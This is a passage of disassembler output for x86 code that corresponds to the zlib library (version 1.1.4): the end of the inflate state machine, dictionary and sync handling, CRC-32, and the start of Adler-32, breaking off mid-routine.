loc_4C0D84: ; CODE XREF: sub_4C0B75+205j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
xor ecx, ecx
mov cl, [eax]
shl ecx, 18h
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 3
loc_4C0DD6: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C121Ao
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4C0DE7
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0DE7: ; CODE XREF: sub_4C0B75+268j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 10h
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 4
loc_4C0E44: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C121Eo
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4C0E55
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0E55: ; CODE XREF: sub_4C0B75+2D6j
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
shl edx, 8
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 5
loc_4C0EB2: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1222o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4C0EC3
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0EC3: ; CODE XREF: sub_4C0B75+344j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [edx+8]
mov [eax+30h], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 6
mov eax, 2
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0F36: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1226o
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Dh
mov eax, [ebp+arg_0]
mov dword ptr [eax+18h], offset aNeedDictionary ; "need dictionary"
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
mov eax, 0FFFFFFFEh
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0F63: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C122Ao
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_4C4F0F
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFDh
jnz short loc_4C0FA4
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx+4], 0
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C0FA4: ; CODE XREF: sub_4C0B75+40Fj
cmp [ebp+var_8], 0
jnz short loc_4C0FB0
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
loc_4C0FB0: ; CODE XREF: sub_4C0B75+433j
cmp [ebp+var_8], 1
jz short loc_4C0FBE
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C0FBE: ; CODE XREF: sub_4C0B75+43Fj
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
add eax, 4
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [eax+14h]
push ecx
call sub_4C4D60
add esp, 0Ch
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp dword ptr [eax+0Ch], 0
jz short loc_4C1001
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
jmp loc_4C1205
; ---------------------------------------------------------------------------
loc_4C1001: ; CODE XREF: sub_4C0B75+479j
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 8
loc_4C100D: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C122Eo
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4C101E
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C101E: ; CODE XREF: sub_4C0B75+49Fj
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor eax, eax
mov al, [edx]
shl eax, 18h
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 9
loc_4C1070: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1232o
mov edx, [ebp+arg_0]
cmp dword ptr [edx+4], 0
jnz short loc_4C1081
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C1081: ; CODE XREF: sub_4C0B75+502j
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [ebp+arg_0]
mov ecx, [eax]
xor eax, eax
mov al, [ecx]
shl eax, 10h
mov ecx, [edx+8]
add ecx, eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [eax+8], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ah
loc_4C10DE: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1236o
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jnz short loc_4C10EF
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C10EF: ; CODE XREF: sub_4C0B75+570j
mov ecx, [ebp+arg_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
xor ecx, ecx
mov cl, [edx]
shl ecx, 8
mov edx, [eax+8]
add edx, ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov [ecx+8], edx
mov edx, [ebp+arg_0]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Bh
loc_4C114C: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C123Ao
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+4], 0
jnz short loc_4C115D
mov eax, [ebp+var_8]
jmp loc_4C120A
; ---------------------------------------------------------------------------
loc_4C115D: ; CODE XREF: sub_4C0B75+5DEj
mov edx, [ebp+arg_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_0]
mov [edx+4], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx]
xor edx, edx
mov dl, [eax]
mov eax, [ecx+8]
add eax, edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov [edx+8], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 1
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov ecx, [ecx+4]
cmp ecx, [eax+8]
jz short loc_4C11E4
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax], 0Dh
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+18h], offset aIncorrectDataC ; "incorrect data check"
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 5
jmp short loc_4C1205
; ---------------------------------------------------------------------------
loc_4C11E4: ; CODE XREF: sub_4C0B75+648j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 0Ch
loc_4C11F0: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C123Eo
mov eax, 1
jmp short loc_4C120A
; ---------------------------------------------------------------------------
loc_4C11F7: ; CODE XREF: sub_4C0B75+63j
; DATA XREF: .text:004C1242o
mov eax, 0FFFFFFFDh
jmp short loc_4C120A
; ---------------------------------------------------------------------------
loc_4C11FE: ; CODE XREF: sub_4C0B75+5Aj
mov eax, 0FFFFFFFEh
jmp short loc_4C120A
; ---------------------------------------------------------------------------
loc_4C1205: ; CODE XREF: sub_4C0B75+F2j
; sub_4C0B75+134j ...
jmp loc_4C0BB3
; ---------------------------------------------------------------------------
loc_4C120A: ; CODE XREF: sub_4C0B75+22j
; sub_4C0B75+45j ...
mov esp, ebp
pop ebp
retn
sub_4C0B75 endp
; ---------------------------------------------------------------------------
off_4C120E dd offset loc_4C0BDF ; DATA XREF: sub_4C0B75+63r
dd offset loc_4C0CBA
dd offset loc_4C0D73
dd offset loc_4C0DD6
dd offset loc_4C0E44
dd offset loc_4C0EB2
dd offset loc_4C0F36
dd offset loc_4C0F63
dd offset loc_4C100D
dd offset loc_4C1070
dd offset loc_4C10DE
dd offset loc_4C114C
dd offset loc_4C11F0
dd offset loc_4C11F7
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+10h]
mov [ebp-4], eax
cmp dword ptr [ebp+8], 0
jz short loc_4C126A
mov ecx, [ebp+8]
cmp dword ptr [ecx+1Ch], 0
jz short loc_4C126A
mov edx, [ebp+8]
mov eax, [edx+1Ch]
cmp dword ptr [eax], 6
jz short loc_4C1274
loc_4C126A: ; CODE XREF: .text:004C1254j
; .text:004C125Dj
mov eax, 0FFFFFFFEh
jmp loc_4C1300
; ---------------------------------------------------------------------------
loc_4C1274: ; CODE XREF: .text:004C1268j
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
push 1
call sub_4C16E0
add esp, 0Ch
mov ecx, [ebp+8]
cmp eax, [ecx+30h]
jz short loc_4C1295
mov eax, 0FFFFFFFDh
jmp short loc_4C1300
; ---------------------------------------------------------------------------
loc_4C1295: ; CODE XREF: .text:004C128Cj
mov edx, [ebp+8]
mov dword ptr [edx+30h], 1
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov edx, 1
mov ecx, [ecx+10h]
shl edx, cl
cmp [ebp-4], edx
jb short loc_4C12D8
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov edx, 1
mov ecx, [ecx+10h]
shl edx, cl
sub edx, 1
mov [ebp-4], edx
mov eax, [ebp+10h]
sub eax, [ebp-4]
mov ecx, [ebp+0Ch]
add ecx, eax
mov [ebp+0Ch], ecx
loc_4C12D8: ; CODE XREF: .text:004C12B2j
mov edx, [ebp-4]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
mov eax, [edx+14h]
push eax
call sub_4C62F8
add esp, 0Ch
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
mov dword ptr [edx], 7
xor eax, eax
loc_4C1300: ; CODE XREF: .text:004C126Fj
; .text:004C1293j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
cmp dword ptr [ebp+8], 0
jz short loc_4C1319
mov eax, [ebp+8]
cmp dword ptr [eax+1Ch], 0
jnz short loc_4C1323
loc_4C1319: ; CODE XREF: .text:004C130Ej
mov eax, 0FFFFFFFEh
jmp loc_4C1452
; ---------------------------------------------------------------------------
loc_4C1323: ; CODE XREF: .text:004C1317j
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
cmp dword ptr [edx], 0Dh
jz short loc_4C1347
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 0Dh
mov edx, [ebp+8]
mov eax, [edx+1Ch]
mov dword ptr [eax+4], 0
loc_4C1347: ; CODE XREF: .text:004C132Cj
mov ecx, [ebp+8]
mov edx, [ecx+4]
mov [ebp-14h], edx
cmp dword ptr [ebp-14h], 0
jnz short loc_4C1360
mov eax, 0FFFFFFFBh
jmp loc_4C1452
; ---------------------------------------------------------------------------
loc_4C1360: ; CODE XREF: .text:004C1354j
mov eax, [ebp+8]
mov ecx, [eax]
mov [ebp-4], ecx
mov edx, [ebp+8]
mov eax, [edx+1Ch]
mov ecx, [eax+4]
mov [ebp-10h], ecx
loc_4C1374: ; CODE XREF: .text:004C13D2j
cmp dword ptr [ebp-14h], 0
jz short loc_4C13D4
cmp dword ptr [ebp-10h], 4
jnb short loc_4C13D4
mov edx, [ebp-4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp-10h]
xor edx, edx
mov dl, byte_4F2058[ecx]
cmp eax, edx
jnz short loc_4C13A1
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
jmp short loc_4C13C0
; ---------------------------------------------------------------------------
loc_4C13A1: ; CODE XREF: .text:004C1394j
mov ecx, [ebp-4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_4C13B5
mov dword ptr [ebp-10h], 0
jmp short loc_4C13C0
; ---------------------------------------------------------------------------
loc_4C13B5: ; CODE XREF: .text:004C13AAj
mov eax, 4
sub eax, [ebp-10h]
mov [ebp-10h], eax
loc_4C13C0: ; CODE XREF: .text:004C139Fj
; .text:004C13B3j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
mov edx, [ebp-14h]
sub edx, 1
mov [ebp-14h], edx
jmp short loc_4C1374
; ---------------------------------------------------------------------------
loc_4C13D4: ; CODE XREF: .text:004C1378j
; .text:004C137Ej
mov eax, [ebp+8]
mov ecx, [ebp-4]
sub ecx, [eax]
mov edx, [ebp+8]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+8]
mov [ecx+8], eax
mov edx, [ebp+8]
mov eax, [ebp-4]
mov [edx], eax
mov ecx, [ebp+8]
mov edx, [ebp-14h]
mov [ecx+4], edx
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov edx, [ebp-10h]
mov [ecx+4], edx
cmp dword ptr [ebp-10h], 4
jz short loc_4C1414
mov eax, 0FFFFFFFDh
jmp short loc_4C1452
; ---------------------------------------------------------------------------
loc_4C1414: ; CODE XREF: .text:004C140Bj
mov eax, [ebp+8]
mov ecx, [eax+8]
mov [ebp-8], ecx
mov edx, [ebp+8]
mov eax, [edx+14h]
mov [ebp-0Ch], eax
mov ecx, [ebp+8]
push ecx
call sub_4C0920
add esp, 4
mov edx, [ebp+8]
mov eax, [ebp-8]
mov [edx+8], eax
mov ecx, [ebp+8]
mov edx, [ebp-0Ch]
mov [ecx+14h], edx
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov dword ptr [ecx], 7
xor eax, eax
loc_4C1452: ; CODE XREF: .text:004C131Ej
; .text:004C135Bj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 0
jz short loc_4C1474
mov eax, [ebp+8]
cmp dword ptr [eax+1Ch], 0
jz short loc_4C1474
mov ecx, [ebp+8]
mov edx, [ecx+1Ch]
cmp dword ptr [edx+14h], 0
jnz short loc_4C147B
loc_4C1474: ; CODE XREF: .text:004C145Dj
; .text:004C1466j
mov eax, 0FFFFFFFEh
jmp short loc_4C148D
; ---------------------------------------------------------------------------
loc_4C147B: ; CODE XREF: .text:004C1472j
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
mov edx, [ecx+14h]
push edx
call sub_4C632F
add esp, 4
loc_4C148D: ; CODE XREF: .text:004C1479j
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, offset dword_4F205C
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C149A proc near ; CODE XREF: sub_490FB0+12p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
jnz short loc_4C14AA
xor eax, eax
jmp loc_4C1673
; ---------------------------------------------------------------------------
loc_4C14AA: ; CODE XREF: sub_4C149A+7j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
loc_4C14B3: ; CODE XREF: sub_4C149A+18Cj
cmp [ebp+arg_8], 8
jb loc_4C162B
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+arg_0]
xor eax, edx
and eax, 0FFh
mov ecx, [ebp+arg_0]
shr ecx, 8
mov edx, dword_4F205C[eax*4]
xor edx, ecx
mov [ebp+arg_0], edx
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov [ebp+arg_8], ecx
jmp loc_4C14B3
; ---------------------------------------------------------------------------
loc_4C162B: ; CODE XREF: sub_4C149A+1Dj
cmp [ebp+arg_8], 0
jz short loc_4C166D
loc_4C1631: ; CODE XREF: sub_4C149A+1D1j
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_0]
xor ecx, eax
and ecx, 0FFh
mov edx, [ebp+arg_0]
shr edx, 8
mov eax, dword_4F205C[ecx*4]
xor eax, edx
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
cmp [ebp+arg_8], 0
jnz short loc_4C1631
loc_4C166D: ; CODE XREF: sub_4C149A+195j
mov eax, [ebp+arg_0]
xor eax, 0FFFFFFFFh
loc_4C1673: ; CODE XREF: sub_4C149A+Bj
pop ebp
retn
sub_4C149A endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, offset a1_1_4_0 ; "1.1.4"
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 2
sub eax, [ebp+8]
mov eax, off_4EDE68[eax*4]
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4C169E(int,size_t Size,int)
sub_4C169E proc near ; DATA XREF: sub_4BE535+5Co
; sub_4C09F4+50o
arg_0 = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
jz short loc_4C16B5
mov eax, [ebp+arg_8]
sub eax, [ebp+arg_8]
mov ecx, [ebp+Size]
add ecx, eax
mov [ebp+Size], ecx
loc_4C16B5: ; CODE XREF: sub_4C169E+7j
mov edx, [ebp+arg_8]
push edx ; int
mov eax, [ebp+Size]
push eax ; Size
call sub_4CA24A
add esp, 8
pop ebp
retn
sub_4C169E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C16C7 proc near ; DATA XREF: sub_4BE535+79o
; sub_4C09F4+6Do
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
call sub_4CA2FB
add esp, 4
pop ebp
retn
sub_4C16C7 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4C16E0 proc near ; CODE XREF: .text:004BE878p
; sub_4BF90B+51p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
and eax, 0FFFFh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
shr ecx, 10h
and ecx, 0FFFFh
mov [ebp+var_8], ecx
cmp [ebp+arg_4], 0
jnz short loc_4C1710
mov eax, 1
jmp loc_4C1953
; ---------------------------------------------------------------------------
loc_4C1710: ; CODE XREF: sub_4C16E0+24j
; sub_4C16E0+265j
cmp [ebp+arg_8], 0
jbe loc_4C194A
cmp [ebp+arg_8], 15B0h
jnb short loc_4C172B
mov edx, [ebp+arg_8]
mov [ebp+var_10], edx
jmp short loc_4C1732
; ---------------------------------------------------------------------------
loc_4C172B: ; CODE XREF: sub_4C16E0+41j
mov [ebp+var_10], 15B0h
loc_4C1732: ; CODE XREF: sub_4C16E0+49j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_8]
sub ecx, [ebp+var_C]
mov [ebp+arg_8], ecx
loc_4C1741: ; CODE XREF: sub_4C16E0+20Cj
cmp [ebp+var_C], 10h
jl loc_4C18F1
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+3]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+4]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+5]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+6]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+7]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+8]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_4]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+9]
mov ecx, [ebp+var_4]
add ecx, eax
mov [ebp+var_4], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_4]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax+0Ah]
mov edx, [ebp+var_4]
add edx, ecx
mov [ebp+var_4], edx
mov eax, [ebp+var_8]
add eax, [ebp+var_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+0Bh]
mov eax, [ebp+var_4]
add eax, edx
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
